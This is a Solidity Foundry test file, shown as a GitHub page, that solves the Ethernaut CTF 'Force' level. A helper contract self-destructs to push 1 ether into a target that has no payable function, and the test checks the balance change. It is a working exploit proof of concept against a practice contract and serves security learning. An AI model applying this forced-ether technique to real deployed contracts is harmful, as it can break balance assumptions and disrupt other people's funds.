-
Notifications
You must be signed in to change notification settings - Fork 0
/
ForceExploit.t.sol
40 lines (33 loc) · 999 Bytes
/
ForceExploit.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import '../../src/EthernautCTF/Force.sol';
import '@forge-std/Test.sol';
import '@forge-std/console.sol';
contract Helper {
constructor(address _target) payable {
selfdestruct(payable(_target));
}
}
contract ForceExploit is Test {
Force target;
address deployer = makeAddr('deployer');
address exploiter = makeAddr('exploiter');
function setUp() public {
vm.startPrank(deployer);
target = new Force();
console.log('Target contract deployed');
vm.deal(exploiter, 10 ether);
vm.stopPrank();
}
function testExploit() public {
uint256 balance = address(target).balance;
console.log('Target contract balance: %d', balance);
assertEq(balance, 0 ether);
vm.startPrank(exploiter);
new Helper{value: 1 ether}(address(target));
vm.stopPrank();
balance = address(target).balance;
console.log('Target contract balance: %d', balance);
assertEq(balance, 1 ether);
}
}